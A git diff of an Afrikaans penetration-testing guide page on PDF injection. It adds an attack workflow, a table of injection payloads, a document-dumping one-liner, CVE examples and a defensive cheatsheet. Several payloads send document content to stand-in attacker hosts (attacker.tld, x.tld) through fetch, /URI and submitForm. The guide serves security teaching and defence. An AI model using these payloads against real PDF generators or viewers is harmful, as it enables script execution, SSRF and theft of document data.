diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 2fd3eda6e..09a0077bc 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer of die PDF-inhoud te steel.** - -Kyk die pos: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer, SSRF te doen of die PDF-inhoud te steel.** +PDF-sintaksis is uiters toelaatbaar – as jy uit die string of woordeboek wat jou invoer inkorporeer kan breek, kan jy heeltemal nuwe voorwerpe (of nuwe sleutels in dieselfde voorwerp) byvoeg wat Acrobat/Chrome graag sal ontleed. +Sedert 2024 het 'n golf van fout-bounty verslae gewys dat *een onontsnapte haakie of terug-skuif genoeg is* vir volle skripuitvoering. + +## TL;DR – Moderne Aanval Werkvloei (2024) +1. Vind enige gebruiker-beheerde waarde wat uiteindelik binne 'n **(haakie string)**, `/URI ( … )` of `/JS ( … )` veld in die gegenereerde PDF eindig. +2. Spuit `) ` (sluit die string) gevolg deur een van die primitiewe hieronder en eindig met 'n ander opening haakie om die sintaksis geldig te hou. +3. Lewer die kwaadwillige PDF aan 'n slagoffer (of aan 'n agtergronddiens wat outomaties die lêer weergee – wonderlik vir blinde foute). +4. Jou payload loop in die PDF-kijker: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (sien CVE-2024-4367) +* Acrobat → Volledige JavaScript API (kan arbitrêre lêerinligting met `this.getPageNthWord` ekfiltreer) + +Voorbeeld (annotasie skakel kaping): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*Die eerste `)` sluit die oorspronklike URI-string, ons voeg dan 'n nuwe **Action** woordeboek by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.* + +## Nuttige Inspuitingsprimitiewe +| Doel | Payload Snippet | Aantekeninge | +|------|-----------------|-------| +| **JavaScript op oop** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Voer onmiddellik uit wanneer die dokument oopgemaak word (werk in Acrobat, nie in Chrome nie). | +| **JavaScript op skakel** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Werk in PDFium & Acrobat as jy 'n `/Link` annotasie beheer. | +| **Blind data exfiltrasie** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombineer met `this.getPageNthWord` binne JS om inhoud te steel. | +| **Server-Side SSRF** | Dieselfde as hierbo, maar teiken 'n interne URL – wonderlik wanneer die PDF deur agterkant-dienste wat `/URI` eerbiedig, gerender word. | +| **Lynbreek vir nuwe objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | As die biblioteek jou toelaat om nuwe-lyn karakters in te spuit, kan jy heeltemal nuwe objekte skep. | + +## Blind Enumerasie Truuk +Gareth Heyes (PortSwigger) het 'n een-liner vrygestel wat elke objek binne 'n onbekende dokument tel – handig wanneer jy nie die gegenereerde PDF kan sien nie: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +Die kode herhaal die Acrobat DOM en maak uitgaande versoeke vir elke eienskap/waarde paar, wat jou 'n *JSON-agtige* dump van die lêer gee. Sien die witpapier “Portable Data **ex**Filtration” vir die volledige tegniek. + +## Regte-Wêreld Foute (2023-2025) +* **CVE-2024-4367** – Arbitraire JavaScript uitvoering in Firefox se PDF.js voor 4.2.67 het die sandbox omseil met 'n vervaardigde `/JavaScript` aksie. +* **Bug bounty 2024-05** – Groot fintech het kliënt-gelewer faktuur notas toegelaat wat in `/URI` beland het; verslag betaal $10k na 'n gedemonstreerde SSRF na interne metadata gasheer met `file:///` URI. +* **CVE-2023-26155** – `node-qpdf` opdrag-inspuiting via ongesuiwerde PDF pad toon die belangrikheid van die ontsnapping van terugskrape en hakies selfs *voor* die PDF laag. + +## Verdedigende Cheatsheet +1. **Moet nooit rou gebruikersinvoer** binne `(`…`)` strings of name saamvoeg nie. Ontsnap `\`, `(`, `)` soos vereis deur §7.3 van die PDF spesifikasie of gebruik hex strings `<...>`. +2. As jy skakels bou, verkies `/URI (https://…)` wat jy *ten volle* URL-kodeer; blokkeer `javascript:` skemas in kliëntkykers. +3. Verwyder of valideer `/OpenAction`, `/AA` (addisionele aksies), `/Launch`, `/SubmitForm` en `/ImportData` woorde wanneer jy PDF's na-verwerk. +4. Aan die bedienerkant, render onbetroubare PDF's met 'n *headless converter* (bv. qpdf –decrypt –linearize) wat JavaScript en eksterne aksies verwyder. +5. Hou PDF kyker op datum; PDF.js < 4.2.67 en Acrobat Reader voor Julie 2024 patches laat triviale kode uitvoering toe. + +## Verwysings +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (opgedateer Mei 2024). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). +{{#include ../../banners/hacktricks-training.md}}